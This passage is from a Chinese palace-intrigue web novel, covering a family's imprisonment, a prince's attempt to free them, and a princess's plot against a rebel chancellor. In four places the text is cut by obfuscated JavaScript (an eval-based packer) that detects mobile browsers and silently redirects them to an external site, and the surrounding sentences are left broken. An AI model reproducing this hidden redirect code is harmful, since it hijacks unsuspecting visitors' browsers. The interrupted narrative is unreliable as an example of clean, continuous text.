而这群暗卫由无意领导,在丞相府被灭满门的前段时间,无意正带领着部下外出执行任务,她便由此逃过了一劫。任务期间,无意她发现了月夫人的身影,正抓了月夫人打算回府时,却被告知相府早就灭了满门,无意便解散了她的部下。 后来月夫人去了醉红楼,她便也去了醉红楼,化身曲无意,十几年来一直伴在她身边,并未曾暴露身份。江大人被抓后,有一群官兵来到了醉红楼,无意以为她们是来抓月夫人的,不得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244486|166332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已动了手。 抓月夫人的?抓我的?为何每人都各执其词。那天的官差出现得太突然,沈笑也受伤了,亦或是,我们都猜错了,这些人是抓沈笑的? “对了无意,你听说过沈笑吗?”不得不说,沈笑其实也是个身份神秘的人儿,这激起了我的好奇,说不定他和无意是同道中人,无意对他的事情了解一二。 “我知道我知道,就是右文殿那个好好看的小公子,睫毛长长的,很爱笑,笑起来眸子里像装着星辰的那个。”敢情月柒就记得人家好好看了。 “他是公主身边的人,我小时候见过一个被养在宫里的不为人知的公主,她身边有个护卫,叫做沈笑。坊间传闻那个公主后来死了,我也没想到醉红楼的沈笑就是小时候那个沈笑,听你们这么一说,仔细一想,原来是同一个人啊……”无意真正的声音磁性又浑厚,像男孩子一般。这让我有点怀疑,醉红楼里的那些软哝的小曲,她是怎么唱出来的。 “那为什么,他和公主会一起出现在醉红楼,你知道吗?”我能明白,公主出现在醉红楼是因为任务,但是沈笑日日在醉红楼招蜂引蝶,就是他的不对了。 “这还不简单,他既然是公主的护卫,自然是公主去哪里,他便去哪里了。”月柒道。 我觉得月柒说的好像也有那么些道理,我突然间也有些明白了,沈笑要想保护好公主,又不暴露彼此的身份,最好的办法便是化作万花丛中那一片护花的绿叶。既然是护卫,那么过去的那个文弱书生,便是假的,所以沈笑其实武功高强?啧,虽然在他身边,连我都被蒙在鼓里这么久。 沈笑受伤,是否也是因为玲珑?他们究竟有着什么不可告人的秘密,私底下在谋划着什么?一切都不得而知。 “好不容易一大家子聚在一起的,尽说些外人的事情做甚,来来,说些我们自己的事情开心开心。”月夫人笑吟吟道。 “姐姐,你知道吗?这些年来,我一直都不恨你。”说话的人是碧凝夫人,她款款深情地对月夫人说。 “好妹妹,你受苦了。”月夫人的声音里带着一丝丝的哭腔,似是怜惜。 “从小,你就蛮横霸道,总喜欢跟我抢东西。我也常常被你欺负,可是你知不知道,李府被灭满门,我以为我是唯一的幸存者。可听人说你还活着的时候,我有多么开心。可是你呀,怎么和以前一样,还这么鲁莽,怎的好端端的,把自己送进了这个破地方。”碧凝夫人语气轻轻的,像是一位慈爱的母亲,责备自家犯错的无知孩童。 好一出姐妹情深,我在隔壁听着,也生了无限的感慨,要是此情不在此景,一家团圆,亲人相聚,不知有多么美好呢。 “本来我们是好言相说的,但是守宫门的那个太监狗眼看人低,还要把我们赶走,我气不过,就把他挟持了,不然他都不会带我们进来。不过大小姐说不可伤人,我也就没把他怎么样,后来挟持了另一个人,就把他放了。”无意义愤填膺道。 说着,闹着,笑着,日子过得飞快,时光如春日般乍暖,没有了我当初那般的孤寂与百无聊赖。 可是第四天,玉轩枫出现在了牢房里。 31. 来客 “王妃最近一家人聊得好不热闹,听说你们想了解一下沈笑?”没有宫人的通报,没有密集的脚步声,那袭玄衣,就那么幽幽地出现在了牢门前。 玉轩枫想必是安插了眼线,我们的一举一动都在他的掌控之中。 “你,卑鄙!”说这话的人是月柒,我甚至从牢房这边,看到了她那只伸出去的差点没扑到玉轩枫身上的手。 玉轩枫赶忙往后退了退。 她依旧是月柒,我的那个爱憎分明的月柒,开心了就笑,不开心了就哭,不拐弯抹角,把所有的情绪都写在脸上的月柒。 “啧,小丫头,和你娘年轻时候性子有些像。女孩子家家的,还是温婉一点的好,你们学学碧妃。再说朕派人偷听怎么了?朕关心一下自己的妃子也不行吗?”玉轩枫只是不疾不徐地说道,地牢里昏暗烛光在他脸上投下了一片阴翳,我看不见他脸上的喜与悲。 “我有话单独跟你说。”在面对玉轩枫的时候,碧凝夫人总是一副不悲不喜,云淡风轻的姿态。 玉轩枫示意人打开了牢门,转身向不远处走去,碧凝夫人紧随其后,莲步轻移。 没多久,一行狱卒带着她回来了,碧凝夫人眼睛肿得跟个核桃似的,脸上还挂着浅浅的泪痕,看来是哭过。 “发生了什么?”众人急忙关切地问道。 “我跟他曾经有过一个孩子,叫生儿。虽历经九死一生,后来生儿还是活下来了。我希望,如果我死了,他能好好待生儿。”碧凝夫人语气平平,仿佛刚才什么都没有发生。 “那个孩子现在在哪?”众人又是一阵好奇,而更多的是对这个前程未卜的孩子的担忧。 “在龙王爷手上,当初就是他救的生儿。我这次出宫,去了醉红楼,见到了龙王爷,他带我去看了看那个孩子。” “龙王爷?”除去日常公务所需,我对朝廷里的这些八卦秘闻、风流韵事了解得少之又少,但此时此刻,面对这个突如其来的人,还是好奇的。 “据说,龙王爷和太上皇争夺皇位,可不知为何,龙王爷最后全身而退,行踪也变得诡秘。我在玉轩枫身边的时候,也只是见过有一两次他和玉轩枫对弈,隔得太远也看不见他的面容,也不知龙王爷是出于何缘故,救下了生儿。”碧凝夫人回忆着往事,却也是一头雾水。 “他玉轩枫即便是不答应,有龙王爷护着,生儿定能平安无恙。”话音陡转,那一刻,我体会到了碧凝夫人语气中的决绝。 “那生儿知道你是她的娘亲吗?”无意好奇地问道。 “生儿不知道。我也是偷偷去看的他,他不知道我是谁也好,少知道一些东西,必然少了一些牵挂,也是好的。如此,我便可以放心归去了。”碧凝夫人似是已经做好了最坏的打算,这次去跟玉轩枫说说话,也是为了自己和他唯一的孩子。 即便是玉轩枫不再说什么绝情的话,单单是这母子永别的场景,就足以让一个母亲肝肠寸断,原来碧凝夫人刚刚哭是因为这个。 “我怎么觉得,皇上还是在意你的。你都不知道,上次皇上听说你不见了,还去了未名宫,惩罚了一众懈怠的宫人们。”我蓦地想起了玉轩枫上次的行径,说了一嘴。 我永远也忘不了那日他在未名宫,抚摸着梨木绣屏道一句“这是她绣的”那双忧伤的眸,若是不在意,又哪来的伤感? “是吗?”碧凝夫人语气中透着一丝丝的惊喜。 “难道您没看出来,那次您回来以后,宫里的宫女太监们对您的态度都变了呢,还不是因为陛下有交代过。”月柒连忙补充。 “真的吗?”碧凝夫人有些欣喜。 在过去,皇上钦点的皇后为月夫人,姨娘她一直觉得,自己不过是月夫人的替身罢了,可是听到了那句在意,她开心得落下泪来,这么多年来,她所期待的,仅仅是那一份来自玉轩枫的在意而已。之前在红鸾殿中,她低声下气恳求月柒出宫,也是看见事情有了转机,想夺回那一份属于自己的宠爱吧。 不得不说,我们这牢房真的是热闹,前面才送走了一个皇上,立马又来了一个人。他背对着光,我看不到他的面容,只看到了一个翩翩而立的影子,浑身透着一股子儒雅之气。那一瞬,我在想,若是用“陌上人如玉,公子世无双”来描述这个人,恐怕都是肤浅。 还未走近,他便开口说了句:“听说你又进了牢房,本公子来看看你。”。 这个欠抽的语气,这个戏谑的声音,是沈笑。 这个“又”字,听得我有点受伤,我在心里默默地收回刚刚对沈笑所有美好的描述。 “你若是来嘲笑挖苦我的,向右转直走,不送。”我此刻不是很明白他的出现意欲何为。 “哈哈哈哈哈哈哈。”沈笑发出一长串的笑声,仿佛我们还是在右文殿那般的玩笑打闹。 “月娘。”沈笑继续往里迈了迈步子,向月夫人拱了拱手。 “无意姑娘近来安好呀?”沈笑的语气,仿佛还是在醉红楼里调侃着姑娘。 那一瞬,我想扒了牢门冲出去揍他。 “甚好。”无意到底是见过大风大浪的,沈笑这般,她倒也淡定。 “我,我记得你。你,你是那个十几年前出现在未名宫的孩子?”碧凝夫人倒是不淡定了,突然激动地冒出来一句。 “娘娘好记性,正是在下。”沈笑客套地回了一句,眸光向牢内扫了扫。 幼年的沈笑和成年的沈笑,相差应该是有些大的吧,碧凝夫人究竟是有什么执念,能把一个人记得这么深? 我感慨,这碧凝夫人真的是玉霄国诸葛,表面上是幽居未名宫,实际上把朝里朝外的人摸了个遍,无论是我还是沈笑,她见的第一面,就已经得知了我们身份。 沈笑一一跟我们叙旧,紧接着是月柒:“小月柒呀,出去了以后你最想干嘛呀?” “想沐浴,这牢里臭烘烘的,吃得也不好,还冷冷的,对了,我还看到了老鼠!”月柒一番话,引得众人轰笑,紧接着她反问道:“小公子你是来看我们的吗?” “我是来告诉你们一个坏消息的。”沈笑嘴角突然浮起了一个神秘的微笑。 都什么时候了,还卖关子!我愈发地想跳出牢笼把这厮揍一顿,啊啊啊啊啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244487|166332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,谁能告诉我,为什么我今日见到了沈笑如此不淡定?! 沈笑顿了顿,随即满脸严肃地说道:“皇上说,半个月后,将你们一众人都斩首示众。” “那吴越呢?吴越他还活着吗?”月夫人连忙问道。 明明自己身陷囹圄,首先关心的确是对方,我想,这便是真的爱情吧,于万千人海,遇一人执手,相濡以终老。想着想着,不知何故,我竟有些羡慕他们。 “吴越是谁?”哪知沈笑如此一句,着实煞了风景。 “就是江大人,江大人。”月柒连忙解释。 “嗯,这我倒没听说。江大人自从被抓起来了以后,就杳无音信。” 月夫人整个人跌坐在枯草上,道了句:“也好,待半月后,我也去了,便可以伴着他了。” 我也开始纳闷,为什么皇上把我爹抓起来以后,就没了他的消息,难道,他已经遭遇了不测?为什么,我上次被关在牢里那么久,除了月柒无人问津,这次沈笑一来,就说着斩首示众的事情,关键是,他居然笑得那么诡异。 沈笑没有再说什么了,随即离开了。共事几年,可我始终捉摸不透他,纨绔的他,神秘的他。他的那个笑,那是欣喜吗,可是我们与他无冤无仇,我们要死了,他为什么会开心呢? “我们真的都要死掉了吗?啊~”月柒整个人扑在墙壁上,一声长嚎。 “真的吧,玉轩枫向来手下不留情,李家五百二十一口人,不出半年,就都死绝了。不过是因为我们俩姐妹调换了身份罢了,应是欺君之罪,可他终究没放下颜面,掩人耳目说是叛国。”碧凝夫人又回忆起了往事,感伤了起来。 怎么办?明明什么都没做,我们却都要死了。要不是鬼市的那个消息,我们也不会来到宫中,落了个被一网打尽的结局,我甚至在想,是不是有谁故意想要害我们。 鬼市!我突然想起了鬼市得到的第三个锦囊,自从得到它以后,我便日日收藏在身边,只是最近事情太乱,一时忘了它的存在。 那紫色的锦囊材质一般般,跟前面两个是同样材质,摸着有些糙手,小小的一团,我好奇里面究竟装了什么消息。 “你们知道鬼市吗?那天醉红楼还有个人给我扔了一把匕首,告诉了我们鬼市的所在。”我问道。既是醉红楼,想必无意和月夫人知道一二的吧。 “是我丢的,我们过去在丞相府,任务繁多且艰巨,有时候会遇到一些扑朔迷离的案子,便去鬼市找消息,算得上半个江湖人士吧。我看你们为此忙得焦头烂额,也不想暴露身份,索性就用这种方式告诉你们了。”万万没想到,那个给我们传递消息的人居然是无意。 “阿执哥哥你记不记得,我们还在鬼市里撞见了要找沈笑的醉红楼里的人。那个人也是无意姐姐吗?”月柒突然想到了这茬。 “不是。我与沈笑,没有任何瓜葛。”无意答道。 那么奇了怪了,不是无意,那么是谁费尽心思在他受伤的那段时间里找他呢?难不成是玲珑? “鬼市的消息,真的靠谱吗?”我抱着半信半疑的态度,问无意。 32. 压轴 “是靠谱的,鬼市的消息向来以靠谱著称,不然也不会有那么多人花重金买鬼市的消息了。不过有时候向鬼市打探消息,他们会把坛子里的钱都退回来,因为他们也探不到这些消息。” 怀着一份憧憬,我打开了第三个锦囊,上面也只是疏疏地写下了三个字:玉龙吟。靠,这鬼市的消息也太简洁了吧,我用一万两,买了八个字,这已经超过了一字千金,奸商啊奸商,木有良心,我在心里默念着。 “我上回去鬼市打探爹的消息,他们给了我三个锦囊,第一个第二个我们已经打开了,第三个他们说是在紧急的时候打开。我刚刚拆开看了,上面写着‘玉龙吟’。玉龙吟是谁?你们知道吗?”我向隔壁一众见多识广的人们问道。 “不知。”众人异口同声答道。 这是个人名?姓玉的人在玉宵国很常见,比如玉轩枫。地名?听闻远邦有个玉龙山,难不成是要我们去那里?还是个物名?美玉宝珏什么的,可是要去哪里找呢? 算了,连它是什么都不知道,而且我们也没法逃出这牢笼,权当它是个安慰吧。 我开始数着日子,半个月后,便是死期。一股遗憾涌上心头,死前要是不在牢中多好,可以去看山花遍野,尝尽世间百味,可是现在,吃饱一顿饭都是奢望。 好遗憾啊。 还有十四天就要死了,但奇迹真的出现了。 “你们把牢门打开,把他们放了。”来人是依旧穿得破破烂烂的王爷,那股子酒味也依旧萦绕在他身边,他的身后跟着牢头和几个狱卒。 见到他,我竟有些开心。虽然他总是不按照常理出牌,脑子里也经常会蹦出各种唯恐天下不乱的想法,但是关键的时候,他总会出现在我们身边。月夫人病重的时候他在,沈笑身受重伤的时候他也在,我和月柒冒险去皇宫的时候,他也在给我们出谋划策,现在,我们要死了,他也在。 “王爷,这……”牢头面露为难之情。 “怎的?我的话不管用了?也不看看,他爹的皇位是谁传的。”王爷捻了捻胡须,斜睨了他一眼。 “是是是。”牢头也是识时务之人,随即吩咐手下的一众狱卒:”你们,把牢门打开。“ “你真的是王爷?”听到牢头称呼他为王爷,态度也毕恭毕敬,月柒随即问了句。 “这我不都告诉过你们了嘛。”王爷怕是为我们的智商感到忧愁,语气颇为不懈,朝我们晃了晃他手中的一个玉牌。 那个玉牌通体白润光滑,是皇室才有的东西,是身份的一种象征,狱卒纵使不认识他,却也因为那玉牌唯他令是从。 “王爷,弥生呢?”见王爷是一人前来,姨娘不免面露担忧,问道。 “好着呢,我可不敢带他来皇宫,要是玉轩枫知道了他的存在,怕是又要赶尽杀绝。”还好弥生没事,王爷的话像是给我吃了一颗定心丸。 “他……已经知道了……”碧凝姨娘早就告诉玉轩枫这件事了。 “额……”王爷一时语塞。 “你是玉龙吟?”无意怕是联想到了第三个锦囊的事情。 “是啊,我叫玉龙吟。”哪知他感慨了一句,也不反驳,就大方地承认了。 有一瞬,我感觉自己受到了欺骗,什么姓“王”名“爷”,都是假的!究竟是我太天真,还是腹黑王爷套路深。 “玉轩枫这个混小子,皇位坐得稳了,就开始动心思了。”王爷带着我们准备出去,后面跟着一大堆愁眉苦脸的狱卒。 说曹操曹操就到,王爷话音刚落,玉轩枫就踱着步子,一脚跨进了刑部大牢,把我们一众人堵在门口:“听说皇叔回来了,怎么不派人通知朕一声。” 想必是有人跟玉轩枫报了消息,说是龙王爷来劫狱了,玉轩枫便急急忙忙赶来了。 “不敢不敢,我此番前来,只是为了带走几个人。”王爷丝毫不畏惧他,挺直了腰杆,说得理直气壮。那一瞬,我仿佛看到了他身上流露出的,是他破败的衣裳掩盖不住的,那是,与生俱来的王者之气? 玉轩枫怕不是有把柄在王爷手中?为何王爷一点都不惧怕他? “朕亲自关的人,哪有说走就走的道理。”哪知玉轩枫步步紧逼,丝毫不让。 两人四目相对,开展了一场眼神与眼神之间的博弈,空气之中充满了危险的气息。我们几人作为“要犯”,更是大气都不敢出一声。 “来人,把玉王爷也一起关起来。”玉轩枫蓦地撇过头去,向王爷身后的一众狱卒吩咐道。 “你小子!”王爷气急败坏。 那几个狱卒得了令,推推搡搡,准备把王爷和我关在一起,王爷不依不饶,走到一个牢门前:“我要住这个里面,这里舒服。” 随即自己打开门,坐了进去,狱卒看玉轩枫也没什么言语,应允了王爷的要求,两边人都得罪不起,只能折中考虑了。 “哼!”尔后玉轩枫拂袖而去。 玉轩枫走后第二天,沈笑又来了。 “你们都下去吧,我有话要跟他们说。”沈笑意图差走一众的狱卒。 那几个狱卒领了命令,就走远了,如此听话,那一瞬,我知道了,沈笑其实也位高权重,不然那些蝇营狗苟之辈,怎么会听他的命令? 继而他神神秘秘地转向我们,小声道:“公主想让你们帮忙演一出戏,不知道你们有没有兴趣?” “你小子!刚好两天就出来蹦跶了!”王爷怕是肺都气炸了,我看出来了,对于玉轩枫把他关进来这件事,他很介意。 “什么戏呀?”月柒果然是孩子心性,一如既往地好奇。 “吴越他还好吗?”月夫人无时无刻不都在念着爹。 “你们上次一说,我就查过了,江大人在大理寺好好的呢,江大人可是玉霄国的重臣,玉轩枫怕重蹈覆辙,压根不敢动他。左丞相造反,不知道这件事你们听说了没?我们安排了一场局,现在是最后的环节了,成败在此一举,希望你们能配合我。事成之后,无论玉轩枫答不答应,我都以公主的名义允诺你们,放了所有人。”沈笑刻意压低了声音,仿佛他在谋划着一场惊天动地的大事情一般。 老爹没事,这可太好了,还可以放了我们所有人?这要求未免过于狂妄,玉轩枫他会答应吗?公主的名义?玲珑行事那么稳重,应该不会失言吧。 我突然想起来几月前听到大家絮絮叨叨说的消息,原来左相造反一说真的不是空穴来风。还有玲珑之前说玉轩枫想要的她都已经查好了,莫非是已经找好了左相的把柄,就等着时机一网打尽? “那我们需要帮你做什么?”无意不愧是经过专门训练的专业暗卫,无时无刻,都在考虑着大局。 “你们需要兵分四路。阿执,你和我一起跟着公主;月娘有病在身,就别再拖延了,王爷带着他回鬼坟山去看病,记得隐秘好自己的行踪;小月柒和无意一组,你们回醉红楼盯梢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244488|166332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看看有没有什么风吹草动。” “可是……”月夫人似乎还想说着什么。 “出去的问题完全不用担心,过两天我来接应你们。”沈笑打断了她,一语中的,月夫人再也无话可说。 尔后,他又轻轻地说道:“我想,你们也希望事情能快点好起来吧,李家还等着你们平反呢。” “那我呢?”要不是碧凝夫人突然发问,我差点以为这个任务就这么分工好了。 “听说你这些年在未名宫疯了?你要做这里面,唯一从正门出去的人,也算是给玉轩枫报个信了。” “我知道了。”碧凝夫人立刻就会意了,而我还蒙在鼓里。 “明日我会更换刑部大牢的人手,会找些囚犯冒充你们。碧妃从大牢正门出去,其余人从皇叔所在的那个牢房的密道出去。”任务分配完了,沈笑紧接着说了他的下一步计划。 “嗯?密道?大牢里有密道?”月柒依旧是一副天真无邪的模样:“那其他的犯人们不会从密道里跑出去吗?” 这个,她是不是操心得有点多余了?密道只在那一个牢房里,只要不把犯人们关进去不就好了。 “王爷跟我说过,当年也被关起来了,这密道还是他亲自挖的呢。”沈笑露出了一个狡黠的笑,对面牢房里的王爷很开心地朝我们挥了挥手,揭开了地上的一方草垫,下面居然有个洞! 这中间,肯定有什么不可告人的秘密! 离“斩首示众”的日子还有十三天,依照沈笑的计划,看守大牢的人换了一波,有一批新的犯人被押了进来冒充我们。 玉宵国大多官职采取的轮流制,像守卫、狱卒这类的职务更是换得勤快,饶是玉轩枫置换人马的动静再大,也不会引人怀疑。至于罪犯,只要不是重犯,也只是会清点具体的数目,没人会记得你长什么样,姓甚名谁,毕竟刑部大牢里的犯人数不胜数。 沈笑也很快就出现了,他依旧一袭青衣,自从那次受伤以后,他不再整日一片红四处摇曳。其实我感觉这般也好,没了往日穿着红衣的妖艳,沈笑整个人身上多了一份沉稳。 名为“探监”,实则是神不知鬼不觉地把我们放出去。本以为他会想了什么办法弄来大牢的钥匙,只见他从怀中掏出了一支不大不小的发钗,轻而易举地撬开了栓着牢门的那把锁。有犯人目瞪口呆地看着这这一切,沈笑轻笑道:“都给我把嘴巴闭紧点,谁敢走漏了消息,爷明日个就来取谁的小命。” 那一众的被抓来冒充我们的犯人依偎在一起,瑟瑟发抖道:“不会的,不会的,我们不会说的。” 而那锁,看起来还是完好如初的样子,安静地挂在了牢门上。 不得不说,沈笑真是个神奇的存在,前段日子不知道做了梁上君子翻了谁家的墙,伤才痊愈,今日就又来大牢里撬锁了。 啧啧啧啧,我在心里感慨着,沈笑真的是优秀,我对他简直是佩服到五体投地。从醉红楼的那个纨绔公子,到右文殿那个白衣书生,到公主身边武艺高强的护卫,到此刻轻而易举地撬开大牢门锁的“纵犯”。这个男子,真的是神秘,他身上,究竟还有多少我们不知道的秘密? 而沈笑,只是表情泰然说了句:“走吧。” 我们一一跟碧凝夫人道了别,就开始了“越狱”之行。临走前,沈笑递给了她一个小的包裹,也不知道装了些什么。作为压轴,其实我更好奇,碧凝夫人要怎么单枪匹马闯出监狱。 33. 兵分四路 密道不大,只能刚好塞下一个人。王爷在前面带路,我们依次紧随在后,匍匐前进。 洞里很黑,什么都看不到,有些瘆人。 我试图寻找些话题,转移大家的注意力:“王爷当年为什么要挖密道呀?” “因为想出去救人。”王爷只是寥寥数语回答,也不将细节娓娓道来,这让人更好奇了。 “不是应该问,王爷为什么会被关在牢里吗?”无意突然来了一句。 也对,王爷一介皇室贵胄,怎么会沦为阶下囚?一阵沉默划过,王爷亦没有做声,见他不想说,我们也没人再追问下去。 慢慢地,前方有了光亮,快到出口了! 密道通到了一处荒败的院子里,出口处杂草丛生,夹杂着几朵不知名的春日野花,而那个屋子,早就在风雨的洗礼下腐烂残破,也是很多年没有人居住了。 我们互相望了望彼此灰头土脸的模样,笑而不语。 “是啊,好多年了。”哪知王爷望着满屋子的杂草,感慨了一句。 这是对刚刚无意的那句话的回答吗?怎么有些牛头不对马嘴? 紧接着,他又说道:“其实,我也不知道小疯子在干吗,玉宵国表面上是一片风平浪静,我也久居深山二十余年,不理朝政。这次,动静闹得这么大,怕是又要不太平了。” 玉轩枫,小疯子,敢这么给当今天子起绰号的,怕是只有这个闲散王爷了。原来暗地里资助王爷的那个贵人是他。难怪,王爷可以替人看病分文不取,一万两银子于他也是小菜一碟。 这样看来,这件事若是成功了,我是不是可以跟他商量,把我借的那一万两跟我免去了……毕竟,一万两对于我而言,也是个不小的数目。 我们找了家客栈,沐浴更衣。然后兵分三路,开始了这个我们都还一无所知的“大计”。 按照沈笑给的住处,我来到了公主府。沈笑一接应完我们,就回到了府中,那一袭青衣此时正立在玲珑身边,二人有说有笑。 “听说曲无意的琴声可以杀人,她是怎么做到的?”玲珑坐在琼树下的一方石凳上,拨弄着面前石桌上的那张古琴,仰着头,一脸娇俏地问立在一边的沈笑。 “公主不必脏了自己的手,杀人的事情,交给我来做就好了。”沈笑语气温柔,满脸的笑意。 看着这两人眼神缱绻,眉目流情,我觉得自己来的不是时候。 我正欲转身离去,想着待会儿再来,沈笑一把叫住我:“江兄。” 我在心里默念道:沈笑啊我知道你习武耳力好,但是你现在叫住我,是不是有点不合时宜…… 玲珑手中的曲子才开了个头,也没有要停下来的意思,我和沈笑在一旁静静地听着。 “皇上说,事成之后,会给我们各自想要的东西。阿笑,你想要的是什么呀?”终究是没忍住,我还是开口问了沈笑这个问题。 “公主想要什么,我便想要什么。”沈笑只是目不转睛地盯着那双琴弦间的纤纤玉手,答了句。 “那公主想要的是什么呀?”我继续追问。 “你自己去问她咯。”沈笑目光转向我,朝我摊了摊手。 玲珑坐在满树的琼花下,拨着琴弦,有花瓣簌簌地落下,似是和着她的曲子。 只见玲珑指尖婉转在琴弦上,贝齿轻启:“玲珑有三愿。一愿江山安稳,百姓富足。二愿良人相伴,执手至老。三愿岁月静好,一世长安。也不知这些,皇兄能不能给得了?” 我羡慕她,也钦佩她,脑海里装着芸芸众生,心中禀着的是深明大义,唇间吐露出的是字字珠玑,却也能如寻常女子般,说得了良人郎君,道得了儿女情长。 再说这些愿望,都会实现的吧,早有耳闻玲珑公主想要离开皇宫,也不知道她会去哪里。十几年的牺牲,换来了玉轩枫皇位十几年的安稳,按理说,玉轩枫应该会成全她的。 可是不知玲珑口中的良人,究竟是谁?算了算了,不细究了。眼下最重要的,便是完成玉轩枫所说的大计,不然怕是什么想法愿望,都成全不了的。 “不知公主此次计划,我有什么能帮得上忙的?”按理说,我没有公主的才貌和智慧,没有沈笑的武功,跟着他们,大概是会拖后腿的吧,可是为什么沈笑和玲珑会那么胸有成竹地把我纳入了他们的计划之中? “你记不记得,上回阿笑受伤了?”一曲终了,玲珑的纤纤玉指压住了琴弦,四周便寂静了下来,只听见枝头上几只鸟雀的嬉闹声。 阿笑。明明是公主护卫的身份,尊卑有别,玲珑却叫得这么亲热,可见他们关系匪浅。 “后来我去了鬼市寻他,当时你和月柒也在?” 原来那个柳树下装了银两去寻沈笑的女子,竟然是玲珑。 大概是醉红楼姑娘们所用的脂粉都有特色,亦或是月柒和玲珑寻日里走得太近,所以玲珑那日其实认出了我们? “是的呢。”我不知道这些事情之间有何联系,只是如实地回答了她。 “题外话了。那你知道阿笑是怎么受伤的吗?”玲珑望向我,表情突然变得严肃起来。 沈笑那时伤得很重,还好王爷当时是在醉红楼的,不然沈笑的小命都不知道保不保得住。 “是中毒?”据王爷所说,沈笑当时是中了好几种毒,其中有一种是叫“迷迭”来着? “那你可知,阿笑为何会中毒?” 沈笑当时穿了一身夜行衣,莫非是在执行着什么特殊的任务? “这我猜不到。”我要是能知道大家在干嘛,也不会一脸懵逼地站在这里了。 玲珑并不是很快告诉我她这个问题的答案,而是转口道:“这次我们要做的事情,很危险。听闻左相和外邦早有勾结,花迟、日辄两国虎视眈眈,助纣为虐,怕是已经觊觎玉宵国这块肥肉很久了。左相的罪证我已经收集完了,但朝廷六部之中,已有几部倒戈相向。我们这次要做的,就是搜集他们谋反的具体证据,将这些乱臣贼子一网打尽。” 记忆中,十几年前,也有一场关于丞相的“谋反”,朝廷左膀右臂尽失,玉宵国国力大减,一时间饱受外邦侵扰。后来,玉宵国将丞相一职一分为二,权力互相制衡,分别统领“朝上军”和“朝下军”,再将部分兵权分割出来,组成“朝卫兵”,由皇上亲自带领。 若是单单失去了左相,影响也比十几年前小得多。而这次,怕不又是一场混乱,能和平解决最好不过了,要是大动干戈起来,遭殃的,怕又是天下黎民百姓们。 话说了一半,她又转了话题:“那你知道你为什么会在这个局里吗?” 我相信至始至终,这绝对不是个意外,千丝万缕中暗含着各种联系,想了一会儿,猜道:“难道是因为我爹?” “是呀,江大人。江大人是个好官,可是觊觎他的人也多,不少人巴不得把他从那个位置上拉下来,自己取而代之呢。” “从今天起,你的任务就是化身为一个家仆,跟随在沈笑身边,保护沈笑。他去哪里,你就去哪里。” 这……我没有听错吧?沈笑武功比我高,颜值比我高,我不拉他后腿就是谢天谢地,他怎么还会需要我的保护? “好的。一切事宜公主尽管吩咐。”沈笑朝她抱了抱拳。 当天下午,我们便收到了碧妃越狱的消息。 据打探消息的人来报,当时狱卒正给犯人们送午饭,见她躺在牢房里,一动不动,以为是犯人出了什么岔子,就赶紧打开牢笼去查看,结果碧妃咬伤了众人,趁机跑了。 玉轩枫听说了这,赶紧派人手寻回了碧妃,把她关回了未名宫,派人“看管”着。紧接着,我们一群人越狱的消息就传到了他的耳朵里,玉轩枫气急败坏,说要不等到十五天期满,把我们直接处决了。 沈笑听说了这消息,是提着剑去昭若殿的,一进殿直接就把剑架在了玉轩枫的脖子上。 “先帝有幼女,名玉静姝,小名玲珑。玲珑公主虽为女辈,却也手握着玉霄国的部分实权 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244489|166332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是个心怀天下的公主,才十余岁,就开始主持国内诸多事宜。西南瘟疫,玲珑公主带一众医才前去救灾,瘟疫很快得到平息。” 相传玲珑公主不慎染病,被发现时已经病入膏肓,最后也死在了那场瘟疫之中,西南百姓为了纪念公主,特地将公主那年所在的地方命名“公主岭”。 “玲珑公主是死是活,你难道不清楚?同年左相满门死于非命,罪名叛国,丞相百年世家何等的忠心耿耿,为何落得如此下场?天下人都可以装这个糊涂,唯独你玉轩枫不行!因为造成这一切的,就是你!玉轩枫!” 我跟在沈笑旁边,看见他脸上逐渐升腾起的怒气。 “江山是你的,美人是你的,你要的何其多,所有的苦和累却都由她来背,你当真无愧?” 沈笑说得不错,玉轩枫他是一个不劳而获的闲散君王。这些年来,他在皇宫里做着他高枕无忧的皇帝,倒是苦了玲珑一个女孩子。 